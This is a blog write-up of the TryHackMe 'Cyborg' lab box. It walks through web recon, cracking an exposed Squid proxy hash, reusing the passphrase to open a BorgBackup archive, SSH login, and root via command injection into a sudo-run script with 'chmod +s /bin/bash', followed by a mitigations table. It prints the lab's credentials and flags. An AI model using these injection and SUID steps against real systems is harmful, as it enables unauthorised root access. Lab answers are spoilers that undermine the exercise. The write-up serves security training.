DEV Community

Farhan Hussain
Farhan Hussain

Posted on

This Box's Shoutbox Narrated Its Own Hack — Cyborg (TryHackMe)

Platform: TryHackMe · Difficulty: Easy · Category: Credential Reuse / BorgBackup / Argument Injection

Introduction

The admin panel's shoutbox has a user apologizing, in real time, for exposing the Squid proxy config files and asking someone to confirm his backup is "safe." It is not safe. He narrated the entire attack path before I'd run a single exploit — I just had to read it and follow the directions he'd helpfully left for both his coworkers and me.

Cyborg tells its own story through that shoutbox. Alex was "playing around with the squid proxy," decided to give up "like always," and left all the config files lying around. Publicly. On the web server. Including the password file. The backup archive he was so confident was safe contained his credentials in a plaintext note to himself. The sudo rule he probably thought was harmless accepted arbitrary command injection through a getopts flag nobody had thought to audit. Alex is a cautionary tale, and this writeup is a tribute to his contributions to our root shell.

Recon

Full-range sweep with RustScan, Nmap for service and version fingerprinting:

rustscan -a 10.48.163.91 -r 1-65535 --ulimit 5000 -- -Pn -sC -sV
Enter fullscreen mode Exit fullscreen mode
Port Service Version
22/tcp SSH OpenSSH 7.2p2 Ubuntu 4ubuntu2.10
80/tcp HTTP Apache httpd 2.4.18 (Ubuntu)

Standard two ports. Apache default page on the root — meaning the content is hiding elsewhere.

Feroxbuster with the dirb common wordlist:

feroxbuster -u http://10.48.163.91/ \
  -w /usr/share/wordlists/dirb/common.txt \
  -x php,txt,html
Enter fullscreen mode Exit fullscreen mode
# output (relevant hits only)
301  http://10.48.163.91/admin          # ^^^ admin panel with shoutbox
200  http://10.48.163.91/admin/admin.html
200  http://10.48.163.91/admin/archive.tar   # ^^^ 1.5 MB backup archive
301  http://10.48.163.91/etc
200  http://10.48.163.91/etc/squid/squid.conf
200  http://10.48.163.91/etc/squid/passwd    # ^^^ proxy credentials
Enter fullscreen mode Exit fullscreen mode

Two immediately interesting trees: /admin/ with a downloadable archive, and /etc/squid/ with the proxy configuration and a password file. Both explored in parallel.

/admin/admin.html hosts an internal shoutbox. Three usernames surface: Josh, Adam, and Alex. Alex's message is the operational gold:

"Ok sorry guys i think i messed something up... I was playing around with the squid proxy... all the config files are laying about... i'm not sure how to delete them hope they don't contain any confidential information lol. Other than that i'm pretty sure my backup 'music_archive' is safe just to confirm."

Alex has told us exactly what to look at: the Squid config files, and a backup called music_archive. The box is narrating its own attack path.

Contents of /etc/squid/passwd:

music_archive:$apr1$BpZ.Q.1m$F0qqPwHSOG50URuOVQTTn.
Enter fullscreen mode Exit fullscreen mode

Contents of /etc/squid/squid.conf (relevant section):

auth_param basic program /usr/lib64/squid/basic_ncsa_auth /etc/squid/passwd
auth_param basic realm Squid Basic Authentication
acl auth_users proxy_auth REQUIRED
http_access allow auth_users
Enter fullscreen mode Exit fullscreen mode

The proxy is configured to authenticate users against passwd. The hash format is $apr1$ — Apache's variant of md5crypt, the same format used in .htpasswd files. John the Ripper handles it natively.

Foothold

The hash needed to be wrapped in single quotes rather than double quotes to prevent bash from interpreting the $ characters as variable expansions — the first attempt with double quotes loaded an empty hash and John reported nothing to crack.

Saving the hash correctly with single quotes:

echo '$apr1$BpZ.Q.1m$F0qqPwHSOG50URuOVQTTn.' > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Enter fullscreen mode Exit fullscreen mode
# output
squidward        (?)
1g 0:00:00:00 DONE
Enter fullscreen mode Exit fullscreen mode

Passphrase: squidward. Appropriate, given the context.

The downloaded archive.tar is not a standard tar archive of files — attempting to unzip it fails and tar -xvf extracts a directory structure containing config, data/, hints.5, index.5, README, and nonce. These are the internal files of a BorgBackup repository.

BorgBackup is an encrypted, deduplicated backup tool. Repositories are opaque directory structures — the actual backed-up data is stored chunked and encrypted inside data/. To read the contents, you need the borg tool and the repository passphrase.

Installing BorgBackup and listing the repository contents:

sudo apt install borgbackup
borg list ~/home/field/dev/final_archive
Enter fullscreen mode Exit fullscreen mode
Enter passphrase for key /home/farhan/home/field/dev/final_archive:
# passphrase: squidward

music_archive    Tue, 2020-12-29 19:00:38 [f789ddb6b0ec...]
Enter fullscreen mode Exit fullscreen mode

One archive named music_archive — exactly what Alex mentioned. The squid proxy passphrase doubles as the Borg repository passphrase. Alex reused it.

Extracting the archive:

mkdir extracted_data && cd extracted_data
borg extract ~/home/field/dev/final_archive::music_archive
# passphrase: squidward
Enter fullscreen mode Exit fullscreen mode

Exploring the extracted contents:

home/alex/Desktop/secret.txt
home/alex/Documents/note.txt
Enter fullscreen mode Exit fullscreen mode
cat home/alex/Desktop/secret.txt
Enter fullscreen mode Exit fullscreen mode
shoutout to all the people who have gotten to this stage whoop whoop!
Enter fullscreen mode Exit fullscreen mode
cat home/alex/Documents/note.txt
Enter fullscreen mode Exit fullscreen mode
Wow I'm awful at remembering Passwords so I've taken my Friends advice and noting them down!

alex:S3cretP@s3
Enter fullscreen mode Exit fullscreen mode

Alex wrote his SSH credentials in a plaintext note inside a backup archive. The backup was encrypted, sure — with a passphrase he reused from the publicly exposed proxy config. Full circle.

Username Password Where Found
music_archive squidward Squid /etc/squid/passwd + John the Ripper
alex S3cretP@s3 BorgBackup archive → note.txt

Shell / Access

ssh alex@10.48.163.91
# Password: S3cretP@s3
Enter fullscreen mode Exit fullscreen mode
alex@ubuntu:~$ cat user.txt
flag{1_hop3_y0u_ke3p_th3_arch1v3s_saf3}
Enter fullscreen mode Exit fullscreen mode

Escalation

Checking sudo permissions:

sudo -l
Enter fullscreen mode Exit fullscreen mode
User alex may run the following commands on ubuntu:
    (ALL : ALL) NOPASSWD: /etc/mp3backups/backup.sh
Enter fullscreen mode Exit fullscreen mode

Reading the script:

cat /etc/mp3backups/backup.sh
Enter fullscreen mode Exit fullscreen mode

The script is owned by alex and readable — the relevant section at the end:

while getopts c: flag
do
    case "${flag}" in
        c) command=${OPTARG};;
    esac
done

# ... backup logic runs first ...

cmd=$($command)
echo $cmd
Enter fullscreen mode Exit fullscreen mode

The script accepts a -c flag via getopts and stores whatever argument is passed into $command. At the end of the script, it evaluates $command directly in a subshell: cmd=$($command). There is no sanitisation, no allowlist, no restriction on what $command can contain. Any string passed via -c is executed as a shell command — as root, because the entire script runs via sudo.

This is argument injection via an unvalidated getopts option becoming a shell evaluation.

Stamping SUID on /bin/bash via the injection:

sudo /etc/mp3backups/backup.sh -c "chmod +s /bin/bash"
Enter fullscreen mode Exit fullscreen mode

Spawning a root shell with -p to preserve effective UID:

/bin/bash -p
Enter fullscreen mode Exit fullscreen mode
bash-4.3# id
uid=1000(alex) gid=1000(alex) euid=0(root) egid=0(root) groups=0(root),...
bash-4.3# cat /root/root.txt
flag{Than5s_f0r_play1ng_H0p£_y0u_enJ053d}
Enter fullscreen mode Exit fullscreen mode

Exploitation — The Full Chain

  1. Feroxbuster → /etc/squid/passwd exposed → md5crypt hash for music_archive
  2. John the Ripper cracked $apr1$ hash → passphrase squidward
  3. archive.tar identified as BorgBackup repository → unlocked with squidward
  4. BorgBackup extraction → note.txt inside alex's home → alex:S3cretP@s3
  5. SSH as alex → user flag
  6. sudo backup.sh -c "chmod +s /bin/bash" → SUID bash → root shell → root flag

Rabbit Holes

Double-quoted hash — John loads nothing. The first john attempt used double quotes around the hash string:

echo "$apr1$BpZ.Q.1m$F0qqPwHSOG50URuOVQTTn." > hash.txt
Enter fullscreen mode Exit fullscreen mode

Bash expanded $apr1, $BpZ, and $F0qqPwHSOG50URuOVQTTn as empty variables, writing a mangled empty string into the file. John reported "No password hashes loaded." Single-quoting the string fixed it immediately. A sharp reminder: always single-quote hash strings containing $ when echoing to a file.

unzip on a .tar file. Muscle memory. archive.tar has a .tar extension and unzip refused it immediately with a "not a zipfile" error. tar -xvf was the correct command — but the extracted result wasn't a set of files, it was a BorgBackup repository, requiring a completely different tool to read.

Flags

Flag Value Location
User flag{1_hop3_y0u_ke3p_th3_arch1v3s_saf3} /home/alex/user.txt
Root flag{Than5s_f0r_play1ng_H0p£_y0u_enJ053d} /root/root.txt

Mitigations

Vulnerability Severity Mitigation
Squid proxy config and password file exposed in webroot Critical Never place service configuration files under a web-accessible directory; restrict /etc/ paths entirely from web serving
Weak proxy passphrase (squidward) in rockyou.txt High Use a long randomly generated passphrase for any authentication credential
Passphrase reused across Squid proxy and BorgBackup repository High Never reuse credentials across services; use a password manager
Plaintext credentials stored in a backup archive High Never store plaintext passwords anywhere — not in notes, not in backups; use a proper secrets manager
sudo backup.sh with unsanitised -c argument injection Critical Validate and restrict all inputs to privileged scripts; if a script must accept arguments, use an allowlist of permitted values — never eval or subshell-execute unsanitised user input
SUID bit stampable on /bin/bash Critical The -c injection fix above prevents this; additionally audit SUID binaries regularly and remove unnecessary ones

Key Takeaway

Credential reuse across services is a force multiplier for attackers — one cracked hash unlocked both the Squid proxy and the BorgBackup repository. Every service should have its own unique, randomly generated credential. When one leaks, the blast radius stays contained to that single service rather than cascading through the entire infrastructure.


Room: TryHackMe — Cyborg

Top comments (0)